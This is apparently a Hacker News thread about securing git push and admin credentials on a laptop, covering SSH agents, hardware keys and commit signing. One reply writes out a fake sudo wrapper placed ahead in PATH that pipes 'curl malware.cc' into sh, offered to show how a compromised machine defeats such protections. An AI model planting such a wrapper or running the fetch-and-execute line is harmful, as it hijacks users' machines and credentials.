I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

▲ 0xbadcafebee 9 hours ago | parent | next [-]

1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden.

With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing key, but you don't use either to push/pull to GitHub, you use OAuth (over HTTPS). This combination provides the most security (without hardware tokens) and 1Password and the OAuth apps make it seamless.

Do not use a user with admin credentials for day to day tasks, make that a separate user in 1Password. This way if your regular account gets compromised the attacker will not have admin credentials.

[1] https://developer.1password.com/docs/ssh/agent/ [2] https://developer.1password.com/docs/ssh/git-commit-signing/ [3] https://github.com/hickford/git-credential-oauth [4] https://cli.github.com/manual/gh_auth_login

	▲	DANmode a minute ago \| parent \| next [-]
		Bitwarden verbiage deserves to be higher than 1Password, here.
	▲	throw14082020 an hour ago \| parent \| prev \| next [-]
		Okay great advice, thanks. I'm already using Bitwarden and found out they have an SSH Agent feature too [1]. I've tried lastpass, Bitwarden, 1password and I prefer Bitwarden (good UX, very affordable) [1] https://bitwarden.com/help/ssh-agent/
	▲	madeofpalk 27 minutes ago \| parent \| prev \| next [-]
		Make sure the gh cli isn’t storing oauth credentials in plaintext as it can silently do.
	▲	zozos 8 hours ago \| parent \| prev [-]
		I already use 1password and have it already installed. Will try this out. Thanks!

▲ anthonyryan1 9 hours ago | parent | prev | next [-]

One approach I started using a could of years ago was storing SSH private keys in the TPM, and using it via PKCS11 in SSH agent.

One benefit of Microsoft requiring them for Windows 11 support is that nearly every recent computer has a TPM, either hardware or emulated by the CPU firmware.

It guarantees that the private key can never be exfiltrated or copied. But it doesn't stop malicious software on your machine from doing bad things from your machine.

So I'm not certain how much protection it really offers on this scenario.

Linux example: https://wiki.gentoo.org/wiki/Trusted_Platform_Module/SSH

macOS example (I haven't tested personally): https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb...

▲ homebrewer 8 hours ago | parent [-]

Or use a FIDO token to protect your SSH key, which becomes useless without the hardware token.

https://wiki.archlinux.org/title/SSH_keys#FIDO/U2F

That's what I do. For those of us too lazy to read the article, tl;dr:

  ssh-keygen -t ed25519-sk

or, if your FIDO token doesn't support edwards curves:

  ssh-keygen -t ecdsa-sk

tap the token when ssh asks for it, done.

Use the ssh key as usual. OpenSSH will ask you to tap the token every time you use it: silent git pushes without you confirming it by tapping the token become impossible. Extracting the key from your machine does nothing — it's useless without the hardware token.

	▲	NylonMeltdown 2 hours ago \| parent [-]
		Except that an attacker can modify the ssh config to enable session multiplexing with a long timeout and then piggy-back off that connection, right?

▲ mr_mitm 9 hours ago | parent | prev | next [-]

There is no defense against a compromised laptop. You should prevent this at all cost.

You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can.

Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn that off, too. So depending on your paranoia level and risk appetite, you need a dedicated machine for admin actions.

▲ otterley 6 hours ago | parent [-]

It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security

▲ mr_mitm 6 hours ago | parent [-]

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands.

It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.

Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.

[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)

▲ otterley 6 hours ago | parent [-]

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

▲ mr_mitm 6 hours ago | parent [-]

I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@"

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

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otterley 6 hours ago | parent [-]

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

	▲	mr_mitm 6 hours ago \| parent \| next [-]
		It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.
	▲	dividuum 4 hours ago \| parent \| prev \| next [-]
		I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?
	▲	LtWorf 2 hours ago \| parent \| prev [-]
		Kinda hard to work as a software developer then.

▲ noman-land 11 hours ago | parent | prev | next [-]

You can add a gpg key and subkeys to a yubikey and use gpg-agent instead of ssh-agent for ssh auth. When you commit or push, it asks you for a pin for the yubikey to unlock it.

	▲	larusso 10 hours ago \| parent \| next [-]
		1 store my ssh key in 1Password and use the 1Password ssh agent. This agents asks for access to the key(s) with Touch ID. Either for each access or for each session etc. one can also whitelist programs but I think this all reduces the security.
	▲	larusso 10 hours ago \| parent \| prev \| next [-]
		There is the FIDO feature which means you don’t need to hackle with gpg at all. You can even use an ssh key as signing key to add another layer of security on the GitHub side by only allowing signed commits.
	▲	esseph 11 hours ago \| parent \| prev [-]
		You can put the ssh privkey on the yubikey itself and protect it with a pin. You can also just generate new ssh keys and protect them with a pin.

▲ benoau 11 hours ago | parent | prev | next [-]

You can set up your repo to disable pushing directly to branches like main and require MFA to use the org admin account, so something malicious would need to push to a benign branch and separately be merged into one that deploys come from.

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sallveburrpi 11 hours ago | parent | next [-]

Pushing directly to main seems crazy - for anything that is remotely important I would use a pull request/merge request pattern

	▲	otterley 6 hours ago \| parent \| next [-]
		There's nothing wrong with pushing to main, as long as you don't blindly treat the head of the main branch as production-ready. It's a branch like any other; Git doesn't care what its name is.
	▲	esseph 11 hours ago \| parent \| prev [-]
		Depends on the use case of the repo.

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t0mas88 10 hours ago | parent | prev [-]

But the attacker could just create a branch, merge request and then merge that?

	▲	benoau 8 hours ago \| parent \| next [-]
		They can't with git by itself, but if you're also signed in to GitHub or BitBucket's CLI with an account able to approve merges they could use those tools.
	▲	x0x0 7 hours ago \| parent \| prev [-]
		We require review on PRs before they can be merged.

▲ mshroyer 4 hours ago | parent | prev | next [-]

Not a perfect defense, but sufficient to make your key much harder to exploit: Use a Yubikey (or similar) resident SSH key, with the Yubikey configured to require a touch for each authentication request.

▲ madeofpalk 10 hours ago | parent | prev | next [-]

I’ve started to get more and more paranoid about this. It’s tough when you’re running untrusted code, but I think I’ve improved this by:

not storing SSH keys on the filesystem, and instead using an agent (like 1Password) to mediate access

Stop storing dev secrets/credentials on the filesystem, injecting them into processes with env vars or other mechanisms. Your password manager could have a way to do this.

Develop in a VM separate from your regular computer usage. On windows this is essential anyway through using WSL, but similar things exist for other OSs

▲ otterley 9 hours ago | parent | prev | next [-]

Your SSH private key must be encrypted using a passphrase. Never store your private key in the clear!

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nottorp 9 hours ago | parent [-]

And what do you do with the passphrase, store it encrypted with a passphrase?

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otterley 9 hours ago | parent | next [-]

This is what agents are for. You load your private key into an agent so you don't have to enter your passphrase every time you use it. Agents are supposed to be hardened so that your private key can't be easily exfiltrated from them. You can then configure `ssh` to pass requests through the agent.

There are lots of agents out there, from the basic `ssh-agent`, to `ssh-agent` integrated with the MacOS keychain (which automatically unlocks when you log in), to 1Password (which is quite nice!).

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mr_mitm 9 hours ago | parent [-]

This is a good defense for malware that only has read access to the filesystem or a stolen hard drive scenario without disk encryption, but does nothing against the compromised dev machine scenario.

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tharkun__ 7 hours ago | parent | next [-]

This seems to be the standard thing people miss. All the things that make security more convenient also make it weaker. They boast about how "doing thing X" makes them super secure, pat on the back and done. Completely ignoring other avenues they left open.

A case like this brings this out a lot. Compromised dev machine means that anything that doesn't require a separate piece of hardware that asks for your interaction is not going to help. And the more interactions you require for tightening security again the more tedious it becomes and you're likely going to just instinctively press the fob whenever it asks.

Sure, it raises the bar a bit because malware has to take it into account and if there are enough softer targets they may not have bothered. This time.

Classic: you only have to outrun the other guy. Not the lion.

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otterley 7 hours ago | parent [-]

See my comment above; not every SSH agent is alike.

	▲	tharkun__ 3 hours ago \| parent [-]
		Which one? Like, I see the comment about the Keychain integration and all that. But in the end I fail to see (without further explanation but I'm eager to learn if there's something I am unaware of) where this isn't different from what I am saying. Like yes, my ssh key has a passphrase of course. Which is different from my system one actually. As soon as I log into the system I add the key, which means entering the passphrase once, so I don't have to enter it all the time. That would get old real fast. But now ssh can just use my key to do stuff and the agent doesn't know if it's me or I got compromised by npm installing something. And if you add a hardware token you "just have to tap" each time that's a step back into more security but does add tedium. Depending on how often my workflow uses ssh (or something that uses the key) in the background this will become something most people just blindly "tap" on. And then we are back towards less security but with more setup steps, complications and tedium. I saw the "or allow for a session", which is a step towards security again, because I may be able to allow a script that does several things with ssh with a single tap, which is great of course. Hopefully that cuts the taps down so much that I don't just blindly tap on every request for it. Like the 1password thing you mentioned. If I do lots of things that make it "ask again" often enough I get pushed into "yeah yeah, I know the drill, just tap" security hole.

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otterley 7 hours ago | parent | prev [-]

Keep in mind that not every agent is so naive as to allow a local client to connect to it without reauthenticating somehow.

1Password, for example, will, for each new application, pop up a fingerprint request on my Mac before handling the connection request and allow additional requests for a configurable period of time -- and, by default, it will lock the agent when you lock your machine. It will also request authentication before allowing any new process to make the first connection. See e.g. https://developer.1password.com/docs/ssh/agent/security

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0xbadcafebee 9 hours ago | parent | prev | next [-]

You memorize it, or keep it in 1Password. 1Password can manage your SSH keys, and 1Password can/does require a password, so it's still protected with something you know + something you have.

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fwip 9 hours ago | parent | prev [-]

One option is to remember it.

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nottorp 9 hours ago | parent [-]

I don’t think that’s considered secure enough, see the other answers and the push for passkeys.

I mean, if passphrases were good for anything you’d directly use them for the ssh connection? :)

	▲	otterley 7 hours ago \| parent [-]
		Passphrases, when strong enough, are fine when they are not traversing a medium that can be observed by a third party. They're not recommended for authenticating a secure connection over a network, but they’re fine for unlocking a much longer secret that cannot be cracked via guessing, rainbow tables, or other well known means. Hell, most people unlock their phones with a 4 digit passcode, and their computers with a passphrase.

▲ CGamesPlay 11 hours ago | parent | prev | next [-]

Add a password or hardware 2-factor to your ssh key. And get a password manager with the same for those admin credentials.

▲ benfrancom 6 hours ago | parent | prev | next [-]

If github, take a look at gh cli or git credential manager:

https://docs.github.com/en/get-started/git-basics/caching-yo...

	▲	progbits 5 hours ago \| parent [-]
		I wouldn't say that's better. Now your .config directory contains a github token that can do more than just repo pull/push, and it is trivially exfiltrated. Though similar thing could be said for browser cookies.

▲ snickerbockers 9 hours ago | parent | prev [-]

password-protect your key (preferably with a good password that is not the same password you use to log in to your account). If you use a password it's encrypted; otherwise its stored on plaintext and anybody who manages to get a hold of your laptop can steal the private key.